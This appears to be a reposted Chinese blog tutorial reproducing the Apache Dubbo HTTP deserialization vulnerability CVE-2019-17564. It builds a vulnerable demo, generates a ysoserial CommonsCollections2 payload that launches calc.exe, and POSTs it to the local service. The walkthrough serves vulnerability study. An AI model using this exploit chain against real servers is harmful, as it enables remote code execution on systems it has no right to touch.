Dubbo反序列化漏洞(CVE-2019-17564) 重现

Posted 快鸟

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Dubbo反序列化漏洞(CVE-2019-17564) 重现相关的知识,希望对你有一定的参考价值。

 

1. 下载官方 demo 代码
(暴出的漏洞是 http 协议的,故使用 http 的 demo 来重现)
https://github.com/apache/dubbo-samples/tree/master/java/dubbo-samples-http

dubbo 版本改成 2.7.5 之前的版本,比如:2.7.3
在项目 pom 中添加 commons-collections4 依赖(测试漏洞用)

<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>

运行 demo 代码,会注册一个 /dubbo/org.apache.dubbo.samples.http.api.DemoService/providers 的服务

http://xx.x.x.x:8080/org.apache.dubbo.samples.http.api.DemoService?anyhost=true&application=http-provider&bean.name=org.apache.dubbo.samples.http.api.DemoService&deprecated=false&dubbo=2.0.2&dynamic=true&generic=false&interface=org.apache.dubbo.samples.http.api.DemoService&methods=sayHello&pid=1428&register=true&release=2.7.3&server=tomcat&side=provider&timestamp=1582854833741

 

2. 下载反序列化工具  ysoserial 
https://repository.mulesoft.org/nexus/content/repositories/public/com/github/frohoff/ysoserial/0.0.5/ysoserial-0.0.5.jar

生成漏洞代码保存到 payload.ser 中:(可以调用 windows 的计算器程序)

java -jar ysoserial-0.0.5.jar CommonsCollections2 "calc.exe" > payload.ser

 

3. 使用 postman 调用 dubbo 暴露的 http 接口
post  http://localhost:8080/org.apache.dubbo.samples.http.api.DemoService
发送的数据包选择上一步生成的进制文件 payload.ser

 

 

 

参考:
http://www.lmxspace.com/2020/02/16/Apache-Dubbo%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%EF%BC%88CVE-2019-17564%EF%BC%89/
https://www.mail-archive.com/dev@dubbo.apache.org/msg06225.html


  

 

如果想了解更多Dubbo源码的知识,请移步 Dubbo源码解读——通向高手之路 的视频讲解:
http://edu.51cto.com/sd/2e565

 

以上是关于Dubbo反序列化漏洞(CVE-2019-17564) 重现的主要内容,如果未能解决你的问题,请参考以下文章

有关Apache dubbo反序列化漏洞的复现及思考

漏洞分析 | Dubbo2.7.7反序列化漏洞绕过分析

Dubbo 高危漏洞!原来都是反序列化惹得祸

最新漏洞简讯Apache Dubbo反序列化漏洞安全风险通告

Dubbo反序列化漏洞(CVE-2019-17564) 重现

技术研究 | Dubbo反序列化漏洞分析 (CVE-2020-1948)